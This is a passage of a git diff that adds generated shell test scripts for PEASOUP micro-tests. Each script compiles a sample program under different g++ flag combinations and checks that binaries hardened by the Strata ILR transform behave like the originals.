+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.no_pic.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.no_pic.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..65666a4fb9c90852df24cf19ff8f7f8418eaaa0d
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.no_pic.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O       -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O       -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.-fPIC.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.-fPIC.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..f7ca8c27781a7b156e21edeada9313576682c743
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.-fPIC.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O2 -fPIC -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O2 -fPIC -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.-fPIC.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.-fPIC.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..887f0158e824b8ff0106291d117392ec2d9c777d
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.-fPIC.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O2 -fPIC -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O2 -fPIC -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..2808edc0580b8d2e69bba700bbca85c4a149e518
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O2 -fPIC -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O2 -fPIC -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..514d89f7d37a8f8d727fd9d3aaa7245cba22c7a3
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O2 -fPIC -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O2 -fPIC -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.-fPIC.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.-fPIC.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..b4174d31c6540e4fc1cac58f372e428fc9d102ca
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O2.-fPIC.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O2 -fPIC   -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O2 -fPIC   -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
